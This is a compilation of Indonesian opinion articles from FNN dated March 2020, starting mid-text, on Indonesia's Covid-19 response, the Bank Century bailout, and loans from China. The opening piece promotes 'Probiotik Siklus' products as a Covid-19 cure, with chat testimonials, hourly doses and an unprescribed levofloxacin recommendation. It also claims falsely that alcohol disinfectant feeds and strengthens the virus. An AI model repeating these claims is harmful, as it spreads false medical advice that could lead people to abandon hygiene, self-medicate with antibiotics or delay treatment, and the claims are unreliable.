Demikian penjelasan Achmad Yurianto, Sabtu (28/3/2020). Kompas.id pada 27 Maret 2020 menulis berita “Tanpa Tindakan Drastis, Separuh Penduduk Indonesia Berpotensi Terinfeksi Covid-19 Sebelum Lebaran”. Jika terjadi sangat menakutkan. Kedubes Asing saja tidak percaya. Saat kita masih mengundang asing masuk di negeri yang indah ini, mereka malah enyerukan kepada warganya agar meninggalkan Indonesia. Artinya, kita diasingkan oleh negara tetangga. Kita di-lockdown oleh dunia. Mereka ragu dengan kemampuan dan fasilitas kesehatan yang dimiliki oleh Indonesia. Faskes yang dipunyai Indonesia, jauh di bawah standar internasional. Jumlah dokter, perawat, rumah sakit khusus, ruang isolasi, dan jumlah tempat tidur rumah sakit, jauh dari memadai. Begitu pula dengan test kit dan APD (Alat Pelindung Diri) juga sangat tidak memadai. Enam dokter yang meninggal akibat tertular dan terinfeksi virus corona adalah buktinya. Melihat kenyataan ini sampai IDI “mengancam” menarik diri dari penanganan virus corona ini. Menurut salah satu studi oleh institusi berbasis di London, kasus Covid-19 yang terdeteksi di Indonesia hanya sekitar 2 persen dari yang diperkirakan seharusnya. Jumlah terinfeksi corona ini realitanya bisa lebih dari 34 ribu orang, mungkin sekarang sudah melonjak lagi. Sembuh Corona Di tengah wabah Virus Corona, ternyata ada banyak masyarakat yang sudah tergabung dalam Grup Probiotik Siklus (GPS), melakukan pengobatan mandiri. Mereka yang tergabung dalam puluhan GPS ini lebih siap dalam menghadapi serangan virus corona tersebut. Mereka melakukan pengobatan secara mandiri. Kalau pun ada yang sudah dinyatakan positif virus corona oleh rumah sakit tempat dirawat, mereka berhasil sembuh dengan menggunakan varian produk Probiotik Siklus (PS). Berikut beberapa testimoninya: “Sy mau berbagi info bahagia. Setidaknya usaha sy ada hasilnya. Bbrpa hari yll sy sempat sampaikan di sini, teman sy yg suami istri dokter. Suaminya sempat demam 5hr plus batuk2, 3 hr nya sempat tangani covid. Sy sarankan pakai g10+bio imun plus biosel utk anak2nya dan pengharum ruangan.” “Alhamdulillah hari berikutnya kondisinya membaik. Target sy adl bagaimana agar mereka berdua (krn keduanya dokter praktek di RS di Jkta) bs menjadi wasilah u penyebaran PS ini utk menyelamatkan byk nyawa.” “Alhamdulillah masya Allah, atas pertolongan Allah, kmd atas doa dr teman2 semua, stlh melalui diskusi yg ckp panjang, berbalas WA, dgn sedikit pemahaman yg sy miliki, alhamdulillah mereka paham dan bs menerima teori ini.” “Dan skrg keduanya ingin mempromosikan produk ini ke rekan2 sejawatnya (untuk bs mengatasi kondisi saat ini). Mohon doanya terus agar usaha ini membuahkan hasil. Sangat berharap sekali kondisi saat ini tidak semakin memburuk dan bisa berangsur membaik.” “[26/3 22:47] Formulator: Alhamdulillah, dengan ketelatenan kita semua, secara perlahan teori ini akan bisa diterima dan terbukti kebenarannya. PS itu kebenarannya alamiah, obyektif ....dan bahkan ada bilang absolut, karena sesuai sunnah Nya.....” “Alhamdulillah..., Ihtiar PS 2 Hari Pasien Positif Covid Membaik.” “[21/3 20:55] Formulator: Catatan: Ada anggota GPS yg positif covid, dan saya arahkan dg PS, dlm 2 hari perkembangan nya LUAR BIASA. Sudah cukup sehat.” “[21/3 20:56] +62 813-1490-XXX: Hanya 2 hari prof?” “[21/3 20:56] +62 857-7782-XXX: Ps variant apa saja prof ? Dan apa diperlukan juga antibiotik? Karna ini serupa dengan pneumonia ya prof?” “[21/3 20:58] Formulator: Variannya, terutama: G8 atau 10 atau 12 atau 17. Diberikan 2 sdm, setiap 1 jam sekali. Bioimune: 3-4x1 sdm. Biozime super: 10 tts setiap 1 jam sekali.” “[21/3 21:00] Formulator: Benar, hanya 2 hari. Sudah ada 2 orang yg terselamatkan dg bantuan PS. Antibiotiknya, saya sarankan : obat yang isinya LEVOFLOXACIN yang paten.” Mengapa G8? G8 adalah bakteri komunitas dengan jumlah ribuan strains bakteri tanah (hingga 7.500 strains) dan didominasi oleh “sekumpulan bakteri negatif” yang dibutuhkan oleh tubuh. Pada saat virus – termasuk diantaranya corona – dihadirkan G8, maka virus ini berasumsi yang dihadirkan di G8 adalah kawan-kawan mereka. Sehingga “virus tidak lagi merasa diserang, tidak lagi merasa disakiti, tidak lagi merasa terancam keberadaannya”. Yang terjadi kemudian, bersama-sama dengan sekumpulan bakteri lengkap pada G8, mereka akan hidup normal, berkembang dan regeneratif sesuai fitrahnya. Keseimbangan Mikrobiota. Itulah kemudian yang terjadi. Nah, pada saat semua seimbang, selesai sudah masalah karena tidak lagi ada yang terlalu dominan, tidak lagi ada ketimpangan. Lain cerita saat “virus – termasuk corona – “dihadirkan” desinfektan (Alkohol). Alkohol, jika di bawah 75%, hanya “mendormen” (menidurkan) bakteri/virus. Maka, akan ada saat virus bangun dari tidurnya. Alkohol di atas 75% baru bisa mengeluarkan bakteri. Ingat hanya mengeluarkan dan tidak mematikan. Virus corona itu didesain kuat! Bahkan, alkohol bisa dimakan sebagai nutrisi penguat dan berpeluang bermutasi menjadi yang lain yang jauh lebih ganas. Jika dihadirkan desinfektan, yang ada, virus akan berkembang massive, karena dia merasa diserang, merasa disakiti, dan merasa terancam keberadaannya. Itulah mengapa Korea Selatan sangat cepat dan tepat dalam atasi wabah virus corona. Korsel cepat mengatasi ini karena mereka semprot pakai EM (4 strain bakteri). Kalau dalam PS ada ribuan strain bakteri, maka tidak bakal meluas dan meluas lagi penyebarannya. “Kalau pakai desinfektan bakteri malah semakin banyak dan semakin kuat,” ungkap seorang anggota GPS-2, sambil memberikan terjemahan berita yang tayang dalam m.nocutnews.co.kr itu. Beritanya bahasa Korea, diterjemahkan dengan fasilitas translate di chrome. Pusat Teknologi Koperasi Pertanian Busan Gijang-gun mengumumkan pada tanggal 7 bahwa mereka melakukan “kegiatan perlindungan lingkungan” menggunakan EM (mikroorganisme yang berguna) untuk mencegah infeksi korona19. EM yang diproduksi dan didistribusikan oleh Gijang-gun Nonghyup Technology Center terutama bersifat asam, dengan bakteri asam laktat sebagian besar mencapai pH 3,5. Pusat ini mengencerkan asam sitrat dalam EM ini untuk pencegahan virus karena virus ini rentan terhadap kondisi asam. Selain itu, EM, yang secara teratur disuplai setiap hari Rabu di kultur mikroba yang berguna, didistribusikan setiap hari sampai virus tenang. Dispenser tak berawak dipasang di dua pusat kesejahteraan administratif di Gijang-eup dan pusat kesehatan masyarakat di Jeonggwan-eup sehingga penduduk dapat dengan mudah menerima EM. Seorang pejabat Pusat Teknologi Koperasi Pertanian Gijang-gun mengatakan, “Kami akan mencegah korona19 dengan memperluas kegiatan karantina yang ramah lingkungan. Kami juga akan memperluas pasokan mikroorganisme yang berguna sehingga semua orang dapat menggunakannya dengan nyaman.” Seperti halnya Korea, Jepang dan Jerman kabarnya juga menggunakan bakteri serupa untuk mengatasi virus corona. Penulis wartawan senior

Beruntang di Tengah Krisis Ekonomi, “Belajar Dari Bank Century dan BLBI”

Yang cukup aneh, yang mengatakan bahwa kesulitan Bank Century berdampak sistemik adalah menteri keuangan. Ketika itu dijabat oleh Sri Mulyani. Bukankah sektor perbankan ketika itu seharusnya sudah berada di bawah pengawasan Bank Indonesia? Sehingga status sistemik atau tidak, seharusnya juga ditetapkan oleh Bank Indonesia? By Anthony Budiawan Jakarta FNN – Minggu (29/03). Krisis moneter 1998 yang berkembang menjadi krisis ekonomi dan politik masih membekas. Krisis yang berawal dari kejatuhan kurs rupiah membuat sektor keuangan dan perbankan lumpuh. Berujung pada penutupan 16 bank nasional. Jatuhnya sektor perbankan membuat Bank Indonesia (BI) harus turun tangan. Sebagai the lender of last resort, Bank Indonesia tampil sebagai penyelamat sektor perbankan yang kesulitan likuiditas. Dengan cara memberi dana talangan. Atau juga yang dikenal dengan Bantuan Likuiditas Bank Indonesia (BLBI). Sampai Desember 1998, BI telah menyalurkan BLBI senilai Rp 144,5 triliun kepada 48 bank. Kata “orang bijak”, dalam setiap kesulitan pasti ada kesempatan. Dalam setiap masalah, pasti ada peluang. Sepertinya moto ini juga berlaku bagi penerima dan pemberi BLBI. Awalnya adalah kesulitan likuiditas. Namun akhirnya menjadi pengeruk kekayaan. Tentu saja dengan cara tidak sah. Audit BPK (Badan Pemeriksa Keuangan) mencatat terjadi penyelewengan BLBI yang merugikan negara hingga Rp 138 triliun. Artinya, hanya sekitar Rp 6,5 triliun saja yang tepat sasaran. Sebagian dari pelaku sudah dihukum. Sebagian lagi, ada yang masih buron. Bahkan ada yang meninggal di tanah buronan. Setelah itu, status BI direstrukturisasi. Sebelumnya BI adalah bagian dari pemerintah. Kemudian diubah menjadi independen. Perubahan ini mengikuti praktek Bank Sentral di kebanyakan negara maju. Agar kebijakan moneter Bank Indonesia tidak didikte oleh pemerintah. Sehingga fungsi moneter dapat dipisahkan dengan fungsi fiskal. Perubahan status Bank Indonesia ini tertuang di Undang-Undang (UU) No. 23 Tahun 1999 tentang Bank Indonesia. Belajar dari pengalaman krisis 1998, penyaluran bantuan, atau tepatnya pinjaman dari BI dibuat ketat. BI dapat memberi pinjaman kepada bank yang mempunyai kesulitan pendanaan hanya apabila ada agunan yang berkualitas tinggi, dan mudah dicairkan. Nilainya minimal sebesar jumlah kredit atau pembiayaan yang diterima oleh bank tersebut. Tahun 2007-2008 terjadi krisis finansial global yang cukup serius. Awalnya, perbankan Indonesia baik-baik saja. Bahkan pemerintah mengatakan perbankan Indonesia sangat kuat, dan tidak akan terpengaruh krisis global. Tetapi, sekitar awal Oktober 2008, Bank Century dikabarkan mengalami kesulitan likuiditas yang serius. Pemerintah cepat tanggap. Pemerintah menyatakan kasus Bank Century berdampak sistemik. Artinya, bisa menjalar ke bank-bank lainnya, dan bisa memicu krisis perbankan lagi. Sehingga, Bank Century harus di-bailout. Harus diselamatkan. Syarat bailout adalah harus berdampak sistemik. Oleh karena itu, masalah likuiditas Bank Century ditetapkan berdampak sistemik. Tetapi, masih ada ganjalan untuk bailout Bank Century. Pasal 11 UU No. 23 Tahun 1999 dan perubahannya (UU No 3 Tahun 2004) mengatakan BI hanya bisa memberi pinjaman atau bailout kalau ada agunan dengan kualitas tinggi, dan mudah dicairkan. Nilainya minimal sebesar jumlah kredit atau pembiayaan yang diterimanya. Tentu saja Bank Century sulit memenuhi syarat itu. Akhirnya, UU No. 3 Tahun 2004 tersebut diubah melalui Perppu (Peraturan Pemerintah Pengganti Undang-undang) No. 2 Tahun 2008, tertanggal 13 Oktober 2008. Sangat cepat sekali prosesnya. Awal Oktober baru saja terjadi kesulitan pendanaan pada Bank Century. Namun 13 Oktober Perppu sudah ditetapkan. Perppu 13 Oktober itu menghilangkan kata “mudah dicairkan”. Akhirnya, Bank Century diambil alih, dan diserahkan kepada Lembaga Penjamin Simpanan (LPS). Total dana yang dikeluarkan pemerintah dalam bailout Century mencapai Rp 6,7 triliun. Yang sangat disayangkan, kesulitan likuiditas ini. Dan anggap saja benar terjadi kesulitan likuiditas. Namun sekali lagi, kondisi ini digunakan untuk mengambil keuntungan sekelompok pribadi orang. Mantan direktur utama Bank Century akhirnya divonis 3 tahun penjara karena terbukti menggelapkan dana nasabah sebesar Rp 1,6 triliun. Yang cukup aneh, yang mengatakan bahwa kesulitan Bank Century berdampak sistemik adalah menteri keuangan. Ketika itu dijabat oleh Sri Mulyani. Bukankah sektor perbankan ketika itu seharusnya sudah berada di bawah pengawasan Bank Indonesia? Sehingga status sistemik atau tidak, seharusnya juga ditetapkan oleh Bank Indonesia? Sudahlah, kasus Bank Century itu sudah berlalu. Kasus Rp 6,7 triliun ini menguap begitu saja. Publik negeri ini semua sudah lupa. Direksi Bank Century juga sudah keluar dari penjara. Bahkan anggota pansus (Panitia Khusus) Hak Angket DPR untuk Bank Century, yang dibentuk 1 Desember 2009 sepertinya sekarang sudah mengalami amnesia semua. Kasus Bank Century bisa menjadi preseden buruk. Karena celah bailout ini dilakukan, atau difasilitasi, melalui perubahan UU. Bahkan melalui Perppu pula. Akhirnya kasus Bank Century ini berujung pada penyelewengan dan korupsi triliunan rupiah. Jangan sampai krisis selanjutnya dijadikan ajang mengail di air keruh lagi. Jangan sampai ada yang mengambil kesempatan dalam kesempitan. Jangan sampai krisis Corona kali ini digunakanlagi untuk mengambil keuntungan pribadi atau segelintir orang saja. Jangan sampai corona dijadikan sarana untuk merampok lagi. Apalagi dengan menggunakan modus yang sama. Merubah UU melalui Perppu. Penulis adalah Managing Director Political Economy and Policy Studies (PEPS)

Pak Jokowi Perlu Minta Nasihat ke Presiden Xi Jinping

Hanya saja Pak Presiden Jokowi perlu matang dengan kalkulasi politiknya. Pak Presiden harus benar-benar fokus. Presiden harus tahu peringatan dari Frederick C. Hover dalam Dollar Diplomacy and Financial Imprialism Under The Wilson Administration. Kata Hover “this financial imperialism”. By Dr. Margarito Kamis Jakarta FNN – Sabtu (28/03). Virus Corona itu berawal dari Wuhan China. Ini sulit dibantah. Kini virus ini menyerang hampir semua negara di dunia. Indonesia juga. Di Indonesia, perlahan tapi pasti virus ini menyerang hampir semua daerah. Kecenderungannya terus meningkat, baik yang terjangkit maupun yang mati. Angka terakhir Sabtu 28 Maret ini telah mencapai 1.155 orang terjangkit. Yang mati juga meningka, dari Jum’at 29 Maret 87 orang, naik menjadi 102 orang. Pertambahannya cukup gila. Pemerintah Pusat dan Pemerintah Daerah, suka atau tidak, harus bertindak cepat, dan tepat dalam semua sisi keputusan yang dibuat. Sisi kesehatan, sisi ekonomi dan sisi politik. Semuanya harus diletakan di meja perumusan dan pembuatan keputusan dari Presiden. Presiden menjadi centre dalam urusan ini, suka atau tidak. Itu sebabnya, pikiran dan saran para dokter, orang-orang terpelajar nan tulus dan ikhlas untuk kemanusian, harus ditujukan pada Presiden. Langsung maupun tidak langsung. Tidak boleh kepada selain Presiden. Ikatan Dokter Indonesia (IDI), para profesor, guru besar Fakultas Kedokteran Universitas Indonesia (FKUI), Persatuan Dokter Gigi Indonesia, Persatuan Perawat Indonesia, Persatuan Bidan Indonesia, semuanya ditujukan pada Presiden. Sayang Presiden tetap kekeh pada pendiriannya. Pak Presiden memang punya kalkulasi-kalkulasi, terutama politik. Kalkulasi ini harus tepat dari semua sudut. Sedikit saja keliru, fatal akibatnya. Soalnya adalah, bagaimana Presiden menemukan hal-hal yang tepat untuk dijadikan pijakan membuat keputusan berat dan tepat? Presiden terlihat mengalami kesulitan menemukan jalan ternalar yang berbasis pada UU Nomor 6 Tahun 2018 Tentang Kekarantinaan Kesehatan menuju “Pembatasan Sosial Bersakala Besar”. Bahasa topnya lockdown. Memang sulit. Nyatanya Presiden baru memikirkan untuk merancang Peraturan Pemerintah (PP) yang diperintahkan oleh UU ini. Bila jalan itu sulit, ada baiknya Presiden mau mencari basis hukum utama bangsa ini. Presiden harus pergi menyelam moralitas pemerintahan yang digariskan dalam alinea keempat pembukaan UUD 1945. Kata demi kata dalam alinea keempat pembukaan UUD 1945, harus diakui merupakan pantulan hasrat tulus para, ikhlas dan penuh pengorbanan dari pendiri bangsa ini terhadap pemerintahan Indonesia. Membentuk pemerintahan Negara Indonesia yang melindungi segenap bangsa Indonesia dan seluruh tumpah darah Indonesia. Dan untuk memajukan kesejahteraan umum, sungguh merupakan pesan moral terhebat bangsa ini kepada pemerintah. Siapapun mereka yang memerintah negara ini. Frasa bangsa Indonesia, tidak pernah dimaksudkan lain, selain semua warga negara Indonesia di bumi Pancasila ini. Bangsa Indonesia adalah orang Indonesia, siapapun dia, apapun agama dan sukunya. Frasa itu tidak menunjuk corporasi, apalagi kambing, kerbau, ayam dan sejenisnya. Tidak. Frasa itu menunjuk kepada orang, dan ummat manusia. Ummat manusia yang kaya, miskin, fakir, setengah fakir, kepala batu, suka menjilat, setengah sinting, dan lainnya, itulah yang dituju. Semuanya harus diurus, dimanusiakan. Pemerintah, yang dipimpin Presiden, menurut kata-kata itu harus aktif mengurus seluruh aspek hidup rakyat. Pemerintah harus memasuki semua sudut itu dengan keputusan dan tindakan. Harus dapat member kepastian bahwa pemerintah sungguh-sungguh dapat diandalkan mengurus rakyat. Begitulah negara hukum modern. Nama lain dari negara kesejahteraan. Pemerintah di negara tipikal itu tidak pernah lain, selain aktif memasuki dan mengurus seluruh aspek hidup rakyat. Semuanya harus jelas dan pasti. Apalagi ketika rakyat mengalami derita, karena sebab yang terduga. Singapura mau penjarakan rakyatnya yang kepala batu, tak disiplin. Amerika, Francis dan Australia yang liberal itu juga sama. Mereka tidak mencla-mencle demokrasi. Tindakan pemerintahan mereka memiliki kandungan kepastian dan harapan bagi rakyatnya. Sifat tindakan pemerintahan mereka menandai mereka sebagai pemimpin yang memahami negara hukum demokratis modern, tetapi perduli dengaN penderitaan yang dialami rakyat. Tetapi andai Presiden memandang pembukaan UUD 1945 itu terlalu tak jelas kata-katanya, tak normatif, terlalu abstrak, tak menyuguhkan cahaya moral berbangsa, apalagi cahaya teknis pemerintahan, terutama mempertimbangkan lockdown, maka pak Presiden perlu membuka komunikasi dengan pemimpin negara lain. Dengan Presiden Xi Jinpin misalnya. Presiden Xi pernah berujar bahwa bangsa China akan memenangkan pertempuran melawan Corona. Kenyataannya? China benar-benar menang. Menang bukan dengan anjuran sebagai senjatanya. Kemenangan datang setelah Presiden Xi mengerahkan seluruh sumberdaya pemerintahanya. Menang dengan tindakan-tindakan pemerintahan yang jelas dan pasti. Sangat komprehensif. Rakyatnya kini merasa lega sejenak. Hebat ini Presiden Xi Jinpin. Spanyol, Italia, Amerika, German, Francis dan Inggris, semuanya kini berantakan. Spanyol misalnya, menunjukan percepatan penambahan orang mati akibat virus jahannam ini dalam ukuran 24 jam. Mengerikan sekali kecepatannya. Dalam 24 jam pada hari rabu lalu saja misalnya, penambahan orang mati sebanyak 738. Total jumlah orang mati sampai dengan tanggal itu sebanyak 3.434 orang. Kecepatannya melampaui China (BBC News, 25/3/2020). Italia juga menderita lumayan parah. Sampai dengan tanggal 27 Maret kemarin, jumlah orang mati telah mencapai angka 8.215. Kecepatan pertambahan jumlah orang mati, sangat luar biasa. Dalam 24 jam terakhir bertambah lebih dari 4.000 oarang (CNBC, 27/3/2020). Sebanyak 40 pasien mereka saat ini dirawat di Jerman (The Guardian, 26/3/2020). Amerika, negeri paling jago bicara dan mengurus urusan dalam negeri negara lain ini, juga semakin memperlihatkan tanda-tanda akan melampaui China dalam hal jumlah orang terjangkit dan mati. Sampai tanggal 27/3 jam 09.00 pagi waktu Amerika, jumlah orang terinfeksi virus, yang Trump sebut “Virus China” ini telah melampaui China. Jumlahnya sudah 82.100. Telah melampaui China. China jumlah orang terinfeksi sebesar 81.782 (CNN, 27/3/2020). Menarik, sekali sekalipun orang mati akibat “Virus China” begitu sebutan Trump untuk virus ini, telah mencapai angka 1.000 oarang, tetapi Presdien Trump dan Presiden Xi Jingpin tetap berkomunikasi. Kamis malam waktu Amerika, Trump berkomunikasi dengan Xi dan menggambarkan keadaan Amerika. Hebat, Presiden Xi dalam kesempatan itu memperlihatkan kelasnya. Kepada Presiden Trump, Presiden Xi meminta Amerika perlu mengambil tindakan-tindakan substantive memperbaiki hubungan kedua negara (The Guardian, 27/3/2020). Permintaan ini boleh jadi disebabkan Tuan Pompeo, Menteri Luar Negeri Trump pada kesempatan lain masih memproduksi nada tuduhan terhadap China. China dinilai Pompeo masih menyembunyikan info Corona. Sungguh hebat, keduanya jelas memperlihatkan sosok pemimpin tulen. Corona dan perang dagangan begitu sengit diantara keduanya beberapa waktu lalu, tak menghalangi kerja politik keduanya untuk menemukan solusi-solusi hebat untuk rakyatnya masing-masing. Indonesia dengan China dan Amerika? Baik-baik saja dengan kedua negara ini. Walaupun akal-akal, Amerika baru saja Amerika melebel Indonesia sebagai negara kaya. Dengan China? Wow top. Sangat manis hubungannya. Investasi mereka di Indonesia luarbiasa. Baru saja Indonesia beli APD dari mereka. Ditengah Corona mematikan ini, perusahan-perusahan mereka sedang asyik menggali nikel, isi perut bumi di Sulawesi Tenggara, Morowali Sulteng, Weda dan Obi di Halmahera, Maluku Utara. Rakyat mereka sedang bekerja di sana. Entah berapa jumlahnya sekarang. Ditengah Corona ini, rakyat China juga masih ada juga yang berusaha datang bekerja. Lalu apa makna semua itu? Lebih dari cukup untuk menggunakan semua itu sebagai modal politik Pak Presiden Jokowi membuka komunikasi dengan Presiden Xi. Minta nasihatnya. Termasuk minta nasihat tentang cara mengunakan uang yang ada. Bila memungkinkan, jangan sungkan-sungkan meminta pinjaman uang besar dari Presiden Xi. Presiden Xi Jingpin pasti tahu, mereka pernah dibantu oleh Amerika di bawah Presiden Woodrow Wilson. Wilson, presiden yang juga profesor yang ahli Administrasi dan Konstitusi dari Princeton University ini menggunakan “diplomasi dollar.” Dengan diplomasi itu, Amerika mengucurkan ratusan juta dolar meminjami China kala itu. Sejarah ini pasti bertengger segar di kepala intelek Presiden Xi. Presiden ini dapat dipastikan tahu akibat tersembunyi dari diplomasi dollar itu. Itu sebabnya Persiden Xi tak bakal mampu menyepelekan bila Pak Jokowi menggodanya dengan. Misalnya meminta bantuan fikiran, termasuk pinjaman uang. Apalagi sampai sekarang China masih mempunyai proyek-proyek berbiaya besar di Indonesia. Kabarnya proyek-proyek besar tersebut dikerjakan oleh corporasi bermodal dari China. Rencana membangunan Ibukota baru, sejauh ini tetap eksis. Semuanya bisa jadi pemanis. Bila perlu janjikan saja proyek baru, entah apa jenis dan bentuknya sebagai kompensasi, atau apapun namanya atas bantuan mematikan mereka. Tapi pastikan bantuan itu tak memiliki sifat imperial. Mudah-mudah Presiden Xi tergoda, dan bermurah hati untuk itu. Sebagai politisi berkelas dunia yang top, dan berotak encer, Presiden Xi mengerti krisis selalu merupakan cara terbaik mengecilkan, memelaratkan, mengakali, menempatkan dan mengendalikan negara-negara payah. Presiden Xi pasti tahu “Drago Doktrin Tahun 1902”. Hanya saja Pak Presiden Jokowi perlu matang dengan kalkulasi politiknya. Pak Presiden harus benar-benar fokus. Presiden harus tahu peringatan dari Frederick C. Hover dalam Dollar Diplomacy and Financial Imprialism Under The Wilson Administration. Kata Hover “this financial imperialism”. Apapun itu, Presiden perlu bergerak cepat, dan tepat. Orang terjangkit virus terus bertambah dan bertamabh. Sama juga dengan yang mati, terus bertambah. Sejumlah pemda mulai melakukan lockdown terbatas. Mereka terlihat tak bisa lagi menanti dan menanti keputusan Jakarta. Bagi mereka uang cukup atau tidak, rakyat harus diselamatkan. Sikap pemda-pemda itu jelas dalam satu hal, yaitu “Presiden Tidak Bisa Diandalkan”. Presiden tak cukup legitim di tengah situasi ini. Bagaimana memulihkannya? Kalau benar ada uang, segera lockdown. Pastikan rakyat tidak tambah menderita, karena tak bisa beli makan dan minum. Tak boleh takut terhadap efek tak terlihat yang mungkin muncul dibalik keputusan-keputusan berat. Petakan semua kemungkinan dan tetapkan arah dan langkah setepat-tepatnya. Kata Brory Marantika, Nyong Ambon manise ini dalam lagu berjudul Bulan Bicara “langkah tanpa arah, sesat di jalan yang terang”. Kata Franklin Delano Rosevelt pada pidato inaugurasi sebagai presiden periode pertama pada tahun 1933 “only thing we have to fear is fears itself”. Penulis adalah Pengajar Hukum Tata Negara Universitas Khairun Ternate.

Uang Pemerintah Nganggur Rp 270 triliun, Tidak Dipakai Lawan Covid-19?

By Anthony Budiawan Jakarta FNN – Sabtu (28/03). Wabah virus corona semakin mengkhawatirkan. Jumlah orang terinfeksi naik tajam. Jumlah orang terinfeksi per 27 Maret 2020 mencapai 893 orang. Kemudian pada 27 Maret 2020 bertambah menjadi 1.046 orang. Artinya, bertambah sebanyak 153 orang dalam satu hari. Jumlahnya terus meningkat. Menandakan penyebaran penyakit sangat tidak terkendali. Yang lebih mengkhawatirkan, jumlah pasien meninggal jauh lebih besar dari yang sembuh. Jumlah pasien meninggal 87 orang, dan pasien sembuh hanya 46 orang, per 27 Maret 2020. Jumlah persentase meninggal, dan perbandingan dengan yang sembuh, menjadi salah satu yang tertinggi di dunia. Melihat data statistik seperti ini, banyak pihak asing mempertanyakan, atau tepatnya meragukan, kemampuan dan kesiapan Indonesia dalam menghadapi wabah virus ini. Beberapa kedutaan asing mengimbau warganya untuk segera meninggalkan Indonesia. Himbauan Kedutaan Asing sangat ironi. Ketika kita masih mau menerima asing di negeri yang indah ini, malah perwakilan negara asing menyerukan kepada warganya agar meninggalkan Indonesia. Artinya, kita diasingkan oleh negara tetangga. Kita di lockdown oleh dunia. Karena mereka ragu dengan kemampuan dan fasilitas kesehatan yang dimiliki Indonesia. Fasilitas kesehatan yang dipunyai Indonesia, katanya jauh di bawah standar internasional. Jumlah dokter, jumlah perawat, jumlah rumah sakit khusus, jumlah ruang isolasi, jumlah tempat tidur rumah sakit, jauh dari memadai. Jauh di bawah kemampuan negara-negara tetanga. Begitu pula dengan test kit dan APD (Alat Pelindung Diri) juga sangat tidak memadai. Buktinya sudah ada enam dokter meninggal akibat tertular dan terinfeksi virus corona. Bahkan menurut salah satu studi oleh institusi berbasis di London, kasus Covid-19 yang terdeteksi di Indonesia hanya sekitar 2 persen dari yang diperkirakan seharusnya. Menurut studi tersebut, jumlah terinfeksis ini realitanya bisa lebih dari 34 ribu orang, mungkin sekarang sudah melonjak lagi. Kompas.id pada 27 Maret 2020 menulis berita “Tanpa Tindakan Drastis, Separuh Penduduk Indonesia Berpotensi Terinfeksi Covid-19 Sebelum Lebaran”. Ini sangat menakutkan. https://kompas.id/baca/humaniora/2020/03/27/tanpa-tindakan-drastis-separuh-penduduk-indonesia-berpotensi-terinfeksi-covid-19-sebelum-lebaran Di lain pihak, kita belum melihat pemerintah bergerak cepat dan terarah. Bahkan bisa dikatakan sangat lambat sekali. Di tengah pandemi seperti ini diperlukan tindakan yang cepat. Bukan wacana saja. Bukan membuat kebijakan yang bisa membuat masalah baru. Misalnya pengumuman tentang pembebasan pembayaran bunga dan cicilan untuk waktu tertentu sudah menuai kegaduhan. Penyebabnya pengumuman tersebut belum dikoordinasikan dengan siapa yang akan menanggung likuiditas tersebut. Apakah artinya penundaan tersebut ditalangi dulu oleh pemerintah? Oleh karena itu, sangat penting setiap kebijakan harus disiapkan langkah teknisnya, agar tidak menimbulkan kegaduhan. Saat ini, yang terpenting dari segalanya, pemerintah harus segera meningkatkan kemampuan fasilitas kesehatan untuk menyelamatkan korban terinfeksi. Untuk memberantas wabah Covid-19, dan memutus mata rantai penyebaran dan penularan. Rasio sembuh harus ditingkatkan secara signifikan. Rasio yang meninggal juga harus diturunkan secara drastis hingga titik nol. Ini target yang tidak bisa ditawar-tawar lagi. Dan ini hanya bisa terjadi kalau pemerintah pusat, dan pemerintah daerah, meningkatkan fasilitas kesehatannya secara drastic, dan bersama-sama. Untuk itu, pemerintah perlu uang. Dan uangnya itu ternyata ada. Pemerintah per akhir Februari 2020 masih ada uang di kas lebih dari Rp 270 triliun. Terdiri dari Saldo Anggaran Lebih (SAL) per akhir 2018 sebesar Rp 175,24 triliun, SiLPA (Sisa Lebih Pembiayaan Anggaran) 2019 sebesar Rp 46,5 triliun, dan SiLPA 2020 (akhir Februari) sebesar Rp 50,13 triliun. Uang sebesar Rp 270 yang ada di kas pemerintah ini idle. Ini uang nganggur. Bisa dipakai kapan saja. Kenapa pemerintah tidak menggunakan uang ini untuk memerangi wabah Covid-19 sejak awal pandemi? Malah pemerintah berwacana untuk meminjam uang dari institusi internasional. Ada apa ini? Wajau kalau masyarakat patut bertanya-tanya. Keterlambatan memerangi wabah Covid-19 yang mengakibatkan korban jiwa berjatuhan karena faktor kesengajaan dapat dituduh sebagai kejahatan atas kemanusiaan. Dan tidak menggunakan uang yang nganggur tersebut dapat saja dianggap sebagai faktor kesengajaan. Jangan sampai ini terjadi. Pemerintah bukannya menggunakan uang yang berlimpah tersebut secara optimal. Ini malah sibuk dan mencoba untuk menggali utang luar negeri baru, melalui institusi internasional seperti IMF. Padahal IMF mempunyai catatan hitam terhadap perekonomian Indonesia pada krisis 1998. Modusnya seolah-olah IMF menawarkan bantuan, yang tentu saja maksudnya utang. Selain itu, pemerintah malah mencoba menggalang dana sumbangan dari pengusaha, dan masyarakat. Sedangkan pengusaha dan masyarakat sendiri lagi susah dan perlu dibantu. Kok bisa pemerintah minta sumbangan dari mereka? Yang menjadi kontroversial, pemerintah malah mau menerbitkan recovery bond untuk memberi dana pinjaman kepada para pengusaha. Lagi-lagi, semua ini membuat masyarakat curiga dengan langkah-langkah pemerintah. Selain bidang kesehetan, pemerintah memang wajib membantu masyarakat dan perusahaan yang terdampak pendemi Covid-19 melalui paket stimulus. Masyarakat harus diberi bantuan sesegera mungkin. Khususnya mereka yang berpenghasilan harian dan terkena Pemutusan Hubungan Kerja (PHK). Mereka ini sekarang sudah sulit keuangan, dan sulit makan. Jangan sampai terjadi kerusuhan karena perut lapar. Perusahaan wajib dibantu untuk dapat bertahan hidup dan mengurangi PHK lebih jauh. Dan jangan lupa, institusi keuangan jangan sampai kekurangan likuiditas karena di satu sisi pembayaran debitur banyak yang macet. Di sisi yang lain,nasabah banyak yang menarik tabungannya. Di sinilah OJK dan BI harus segera hadir. Semua kebutuhan pendanaan di atas harus diupayakan dari sumber dalam negeri. Dan itu layak dan bisa dilakukan. Uang pemerintah masih banyak. Bank Indonesia juga siap intervensi. Semoga bermanfaat. Penulis adalah Managing Director Political Economy and Policy Studies (PEPS)

Presiden Lempar Handuk?

